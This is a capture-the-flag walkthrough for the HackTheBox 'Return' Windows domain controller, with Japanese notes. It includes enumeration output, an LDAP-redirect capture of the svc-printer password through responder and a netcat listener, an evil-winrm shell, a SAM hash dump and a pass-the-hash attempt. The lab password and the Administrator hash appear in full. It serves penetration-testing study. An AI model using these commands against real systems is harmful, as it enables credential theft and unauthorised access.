Return¶
Flag-Critical Knowledge¶
トリガー、攻撃パターン¶
attack summary¶
Printer web LDAP settings
→ point LDAP to attacker
→ capture svc-printer cleartext password
→ WinRM as svc-printer
→ Server Operators service binPath abuse
→ add svc-printer to local Administrators
→ read root flag
walkthrough¶
10.129.95.241 printer.return.local
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-16 00:13 JST
Nmap scan report for 10.129.95.241
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 15:32:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 18m22s
| smb2-time:
| date: 2026-07-15T15:33:18
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.72 seconds
[!!!] Domain Controller found on 10.129.95.241
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-16 00:17 JST
Nmap scan report for 10.129.95.241
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 15:35:52Z)
123/udp open ntp NTP v3
| ntp-info:
|_
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 18m27s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.52 seconds
[!!!] DNS server found on 10.129.95.241
[*] Scan completed.
┌──(kali@kali)-[~/htb/Return]
|_clock-skew: 18m27s
sudo ntpdate -q <IP>
sudo ntpdate <DC-IP>
return.local
DNS列挙
53/udp open domain Simple DNS Plus
53/tcp open domain Simple DNS Plus
dig 10.129.95.241 return.local any
dig axfr 10.129.95.241 return.local
dnsrecon -d return.local -n 10.129.95.241
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ dig @10.129.95.241 return.local any
; <<>> DiG 9.20.9-1-Debian <<>> @10.129.95.241 return.local any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38806
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: 9d208d739d06e7b2 (echoed)
;; QUESTION SECTION:
;return.local. IN ANY
;; ANSWER SECTION:
return.local. 600 IN A 10.129.95.241
return.local. 3600 IN NS printer.return.local.
return.local. 3600 IN SOA printer.return.local. hostmaster.return.local. 165 900 600 86400 3600
return.local. 600 IN AAAA dead:beef::951:154:e402:6d51
;; ADDITIONAL SECTION:
printer.return.local. 1200 IN A 10.129.95.241
printer.return.local. 1200 IN AAAA dead:beef::951:154:e402:6d51
;; Query time: 75 msec
;; SERVER: 10.129.95.241#53(10.129.95.241) (TCP)
;; WHEN: Thu Jul 16 08:06:11 JST 2026
;; MSG SIZE rcvd: 210
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ dig axfr @10.129.95.241 return.local
; <<>> DiG 9.20.9-1-Debian <<>> axfr @10.129.95.241 return.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ dnsrecon -d return.local -n 10.129.95.241
[*] std: Performing General Enumeration against: return.local...
[-] DNSSEC is not configured for return.local
[*] SOA printer.return.local 10.129.95.241
[*] SOA printer.return.local dead:beef::951:154:e402:6d51
[*] NS printer.return.local 10.129.95.241
[*] NS printer.return.local dead:beef::951:154:e402:6d51
[*] A return.local 10.129.95.241
[*] AAAA return.local dead:beef::951:154:e402:6d51
[*] Enumerating SRV Records
[+] SRV _kerberos._udp.return.local printer.return.local 10.129.95.241 88
[+] SRV _kerberos._udp.return.local printer.return.local dead:beef::951:154:e402:6d51 88
[+] SRV _ldap._tcp.return.local printer.return.local 10.129.95.241 389
[+] SRV _ldap._tcp.return.local printer.return.local dead:beef::951:154:e402:6d51 389
[+] SRV _kerberos._tcp.return.local printer.return.local 10.129.95.241 88
[+] SRV _kerberos._tcp.return.local printer.return.local dead:beef::951:154:e402:6d51 88
[+] SRV _gc._tcp.return.local printer.return.local 10.129.95.241 3268
[+] SRV _gc._tcp.return.local printer.return.local dead:beef::951:154:e402:6d51 3268
[+] SRV _ldap._tcp.dc._msdcs.return.local printer.return.local 10.129.95.241 389
[+] SRV _ldap._tcp.dc._msdcs.return.local printer.return.local dead:beef::951:154:e402:6d51 389
[+] SRV _ldap._tcp.ForestDNSZones.return.local printer.return.local 10.129.95.241 389
[+] SRV _ldap._tcp.ForestDNSZones.return.local printer.return.local dead:beef::951:154:e402:6d51 389
[+] SRV _ldap._tcp.pdc._msdcs.return.local printer.return.local 10.129.95.241 389
[+] SRV _ldap._tcp.pdc._msdcs.return.local printer.return.local dead:beef::951:154:e402:6d51 389
[+] SRV _kerberos._tcp.dc._msdcs.return.local printer.return.local 10.129.95.241 88
[+] SRV _kerberos._tcp.dc._msdcs.return.local printer.return.local dead:beef::951:154:e402:6d51 88
[+] SRV _kpasswd._tcp.return.local printer.return.local 10.129.95.241 464
[+] SRV _kpasswd._tcp.return.local printer.return.local dead:beef::951:154:e402:6d51 464
[+] SRV _ldap._tcp.gc._msdcs.return.local printer.return.local 10.129.95.241 3268
[+] SRV _ldap._tcp.gc._msdcs.return.local printer.return.local dead:beef::951:154:e402:6d51 3268
[+] SRV _kpasswd._udp.return.local printer.return.local 10.129.95.241 464
[+] SRV _kpasswd._udp.return.local printer.return.local dead:beef::951:154:e402:6d51 464
[+] 22 Records Found
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
rpc、smb列挙
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
nxc smb 10.129.95.241
nxc smb 10.129.95.241 -u '' -p ''
nxc smb 10.129.95.241 -u guest -p ''
smbclient -L //10.129.95.241 -N
rpcclient -U "" -N 10.129.95.241
rpcclient -U "" -N 10.129.95.241 -c "enumdomusers"
rpcclient -U "" -N 10.129.95.241 -c "querydispinfo"
enum4linux-ng 10.129.95.241
──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241 -u '' -p ''
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\:
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241 -u guest -p ''
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [-] return.local\guest: STATUS_ACCOUNT_DISABLED
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ smbclient -L //10.129.95.241 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.95.241 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ rpcclient -U "" -N 10.129.95.241
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> exit
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ enum4linux-ng 10.129.95.241
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 10.129.95.241
[*] Username ......... ''
[*] Random Username .. 'cgjeaeqs'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=====================================
| Listener Scan on 10.129.95.241 |
=====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
====================================================
| Domain Information via LDAP for 10.129.95.241 |
====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: return.local
===========================================================
| NetBIOS Names and Workgroup/Domain for 10.129.95.241 |
===========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
=========================================
| SMB Dialect Check on 10.129.95.241 |
=========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
===========================================================
| Domain Information via SMB session for 10.129.95.241 |
===========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: PRINTER
NetBIOS domain name: RETURN
DNS domain: return.local
FQDN: printer.return.local
Derived membership: domain member
Derived domain: RETURN
=========================================
| RPC Session Check on 10.129.95.241 |
=========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
===================================================
| Domain Information via RPC for 10.129.95.241 |
===================================================
[+] Domain: RETURN
[+] Domain SID: S-1-5-21-3750359090-2939318659-876128439
[+] Membership: domain member
===============================================
| OS Information via RPC for 10.129.95.241 |
===============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null
=====================================
| Users via RPC on 10.129.95.241 |
=====================================
[*] Enumerating users via 'querydispinfo'
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[*] Enumerating users via 'enumdomusers'
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
======================================
| Groups via RPC on 10.129.95.241 |
======================================
[*] Enumerating local groups
[-] Could not get groups via 'enumalsgroups domain': STATUS_ACCESS_DENIED
[*] Enumerating builtin groups
[-] Could not get groups via 'enumalsgroups builtin': STATUS_ACCESS_DENIED
[*] Enumerating domain groups
[-] Could not get groups via 'enumdomgroups': STATUS_ACCESS_DENIED
======================================
| Shares via RPC on 10.129.95.241 |
======================================
[*] Enumerating shares
[+] Found 0 share(s) for user '' with password '', try a different user
=========================================
| Policies via RPC for 10.129.95.241 |
=========================================
[*] Trying port 445/tcp
[-] SMB connection error on port 445/tcp: STATUS_ACCESS_DENIED
[*] Trying port 139/tcp
[-] SMB connection error on port 139/tcp: session failed
=========================================
| Printers via RPC for 10.129.95.241 |
=========================================
[-] Could not get printer info via 'enumprinters': STATUS_ACCESS_DENIED
Completed after 19.09 seconds
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
nullセッション有効⇒❌ anonymous or guest 今回はanonymousが有効
nxc smb 10.129.95.241 -u "" -p "" --shares
nxc smb 10.129.95.241 -u "" -p "" --users
nxc smb 10.129.95.241 -u "" -p "" --pass-pol
nxc smb 10.129.95.241 -u '' -p '' --rid-brute
──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241 -u "" -p "" --shares
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\:
SMB 10.129.95.241 445 PRINTER [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241 -u "" -p "" --users
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\:
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241 -u "" -p "" --pass-pol
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\:
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nxc smb 10.129.95.241 -u '' -p '' --rid-brute
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\:
SMB 10.129.95.241 445 PRINTER [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
ldap列挙
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
ldapsearch -x -H ldap://10.129.95.241 -s base namingContexts
ldapsearch -x -H ldap://10.129.95.241 -b "DC=return,DC=local"
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ ldapsearch -x -H ldap://10.129.95.241 -s base namingContexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingContexts
#
#
dn:
namingContexts: DC=return,DC=local
namingContexts: CN=Configuration,DC=return,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=return,DC=local
namingContexts: DC=DomainDnsZones,DC=return,DC=local
namingContexts: DC=ForestDnsZones,DC=return,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ ldapsearch -x -H ldap://10.129.95.241 -b "DC=return,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=return,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A37, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
kerberos列挙
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 15:32:28Z)
464/tcp open kpasswd5?
⇒user.txtがない？？？ どうしよ？？？
winm列挙
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
⇒列挙なし
web列挙
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
？？？
──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ whatweb http://10.129.95.241
http://10.129.95.241 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.95.241], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-Powered-By[PHP/7.4.13]
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ dirsearch -u http://10.129.95.241/ -e php,txt,bak,zip,conf
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/htb/Return/10.129.95.241/reports/http_10.129.95.241/__26-07-16_08-24-45.txt
Target: http://10.129.95.241/
[08:24:45] Starting:
[08:24:48] 403 - 312B - /%2e%2e//google.com
[08:24:51] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[08:24:56] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[08:25:06] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[08:25:13] 301 - 150B - /images -> http://10.129.95.241/images/
[08:25:13] 403 - 1KB - /images/
[08:25:25] 200 - 28KB - /settings.php
Task Completed
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ dirsearch -u http://10.129.95.241/images -e php,txt,bak,zip,conf
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/htb/Return/10.129.95.241/reports/http_10.129.95.241/_images_26-07-16_08-26-57.txt
Target: http://10.129.95.241/
[08:26:57] Starting: images/
[08:27:03] 403 - 312B - /images/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[08:27:09] 403 - 312B - /images/\..\..\..\..\..\..\..\..\..\etc\passwd
[08:27:20] 403 - 312B - /images/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Task Completed
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
webにユーザ名とパスワードの変更画面あり ユーザ名 svc-printer
デフォルトのパスワードはわからないが password に変更
svc-printer password
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ for p in smb rdp winrm; do nxc $p 10.129.95.241 -u svc-printer -p 'password' --continue-on-success; done
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [-] return.local\svc-printer:password STATUS_LOGON_FAILURE
WINRM 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.95.241 5985 PRINTER [-] return.local\svc-printer:password
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ kerbrute userenum -d return.local users.txt --dc 10.129.95.241
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 07/16/26 - Ronnie Flathers @ropnop
2026/07/16 08:35:50 > Using KDC(s):
2026/07/16 08:35:50 > 10.129.95.241:88
2026/07/16 08:35:50 > [+] VALID USERNAME: svc-printer@return.local
2026/07/16 08:35:50 > Done! Tested 1 usernames (1 valid) in 0.078 seconds
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ impacket-GetNPUsers return.local/ -usersfile users.txt -dc-ip 10.129.95.241 -no-pass -format hashcat -outputfile asrep.hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User svc-printer doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
sudo responder -I tun0
nc -lnvp 389
──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.6.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.15.93]
Responder IPv6 [dead:beef:2::115b]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-CBRYANAFW0R]
Responder Domain Name [ZVVJ.LOCAL]
Responder DCE-RPC Port [45142]
[+] Listening for events...
[!] Error starting TCP server on port 80, check permissions or other servers running.
[LDAP] Cleartext Client : 10.129.95.241
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!
[+] Exiting...
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ nc -lnvp 389
listening on [any] 389 ...
connect to [10.10.15.93] from (UNKNOWN) [10.129.95.241] 54612
0*`%return\svc-printer�
1edFg43012!!^C
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
return\svc-printer 1edFg43012!!
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ for p in smb rdp winrm; do nxc $p 10.129.95.241 -u svc-printer -p '1edFg43012!!' --continue-on-success; done
SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.129.95.241 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
WINRM 10.129.95.241 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.95.241 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================== =============================================
return\svc-printer S-1-5-21-3750359090-2939318659-876128439-1103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
⇒ログインできた。
flag検索
cmd /c "dir C:\Users\user.txt /s /b"
cmd /c "dir C:\user.txt /s /b"
*Evil-WinRM* PS C:\Users\svc-printer\Documents> ipconfig ; hostname ; whoami; cat C:\Users\svc-printer\Desktop\user.txt
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::951:154:e402:6d51
Link-local IPv6 Address . . . . . : fe80::951:154:e402:6d51%10
IPv4 Address. . . . . . . . . . . : 10.129.95.241
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:464c%10
10.129.0.1
printer
return\svc-printer
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled
evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!'
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ impacket-secretsdump -sam sam.save -system system.save LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xa42289f69adb35cd67d02cc84e69c314
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:34386a771aaca697f447754e4863d38a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$
Administrator 34386a771aaca697f447754e4863d38a
for p in smb rdp winrm; do nxc $p 10.129.95.241 -u Administrator -H '34386a771aaca697f447754e4863d38a' --continue-on-success; done
┌──(kali@kali)-[~/htb/Return/10.129.95.241]
└─$ for p in smb rdp winrm; do nxc $p 10.129.95.241 -u Administrator -H '34386a771aaca697f447754e4863d38a' --continue-on-success; done
